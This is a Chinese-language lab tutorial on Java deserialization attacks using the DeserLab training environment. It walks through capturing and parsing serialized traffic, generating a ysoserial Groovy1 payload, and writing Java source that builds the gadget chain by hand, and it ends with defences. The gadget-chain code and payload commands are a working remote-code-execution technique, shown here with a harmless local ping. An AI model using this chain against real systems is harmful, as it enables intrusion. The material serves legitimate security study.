Java反序列化漏洞利用的学习与实践
字数 1733 2025-08-29 08:31:53
Java反序列化漏洞利用学习与实践
一、Java反序列化漏洞概述
Java反序列化漏洞是指当应用程序反序列化不受信任的数据时,攻击者可以通过构造恶意序列化对象来执行任意代码。这类漏洞通常出现在使用Java原生序列化协议或第三方序列化框架(如XML、JSON等)的场景中。
关键特点:
- 漏洞根源在于反序列化过程中自动调用对象的readObject()方法
- 攻击者可以构造恶意对象链(gadget chains)来触发远程代码执行
- 影响广泛,常见于WebLogic、WebSphere、JBoss等中间件
二、实验环境搭建
1. 实验工具准备
- DeserLab:模拟Java反序列化漏洞的实验环境
- GitHub地址:https://github.com/NickstaDB/DeserLab
- SerializationDumper:Java序列化数据解析工具
- jdeserialize:另一个Java序列化数据分析工具
- ysoserial:生成利用Java反序列化漏洞的payload工具
2. 环境启动
启动DeserLab服务器和客户端:
java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666
3. 流量捕获
使用tcpdump捕获通信流量:
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
三、序列化数据分析
1. 提取序列化数据
从pcap文件中提取序列化数据:
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g
2. 使用SerializationDumper分析
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
输出示例:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0xf000baaa
TC_BLOCKDATA - 0x77
Length - 2 - 0x02
Contents - 0x0101
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
3. 使用jdeserialize分析
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
四、漏洞利用实践
1. 使用ysoserial生成payload
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
2. 漏洞利用流程
- 建立TCP连接
- 完成Java序列化握手
- 发送协议特定的握手信息
- 发送协议版本信息
- 发送客户端名称
- 发送恶意payload
3. 验证漏洞利用
使用tcpdump验证ICMP请求:
sudo tcpdump -i lo icmp
五、手动构造payload
1. 关键类分析
- sun.reflect.annotation.AnnotationInvocationHandler:
- 反序列化时自动调用readObject()方法
- 构造函数接受一个java.util.Map对象
- java.lang.reflect.Proxy:
- 创建动态代理对象
- 将所有方法调用路由到单一处理程序
- org.codehaus.groovy.runtime.ConvertedClosure:
- 实现InvocationHandler接口
- 用于将方法调用转换为Groovy闭包执行
- org.codehaus.groovy.runtime.MethodClosure:
- 封装方法调用
2. payload构造代码
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
public class ManualPayloadGenerate {
public static void main(String[] args) throws Exception {
// 获取AnnotationInvocationHandler的构造函数
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize)
.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建MethodClosure和ConvertedClosure
ConvertedClosure closure = new ConvertedClosure(
new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
// 创建动态代理Map对象
Map map = (Map) Proxy.newProxyInstance(
ManualPayloadGenerate.class.getClassLoader(),
new Class[] {Map.class}, closure);
// 创建AnnotationInvocationHandler实例
Object instance = constructor.newInstance(Override.class, map);
// 序列化对象并写入文件
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(
new java.io.FileOutputStream("payload_manual.bin"));
oos.writeObject(instance);
oos.close();
}
}
3. 编译与运行
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
六、漏洞原理深入分析
1. 反序列化执行流程
- 反序列化过程开始读取流数据
- 遇到AnnotationInvocationHandler对象时,调用其readObject方法
- readObject方法调用Map对象的entrySet方法
- 由于Map是动态代理对象,调用被路由到ConvertedClosure的invoke方法
- ConvertedClosure将调用转发给MethodClosure
- MethodClosure执行指定的命令(如"ping 127.0.0.1")
2. 关键点说明
- 自动调用机制:Java反序列化时会自动调用对象的readObject()方法
- 代理对象:将方法调用路由到指定处理程序
- Groovy闭包:提供了从Java方法调用到命令执行的桥梁
- gadget chain:多个类的方法调用链最终导致代码执行
七、防御措施
1. 基本防御方法
- 输入验证:不要反序列化不受信任的数据
- 白名单机制:使用ObjectInputFilter限制可反序列化的类
- 替换序列化机制:使用JSON等更安全的序列化格式
2. 具体实现
// 使用ObjectInputFilter的示例
ObjectInputFilter filter = info -> {
if (!info.serialClass().getName().equals("safe.class.Name")) {
return ObjectInputFilter.Status.REJECTED;
}
return ObjectInputFilter.Status.ALLOWED;
};
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
3. 其他建议
- 及时更新依赖库,修复已知漏洞
- 使用安全工具扫描应用程序中的漏洞
- 对反序列化操作进行严格的日志记录和监控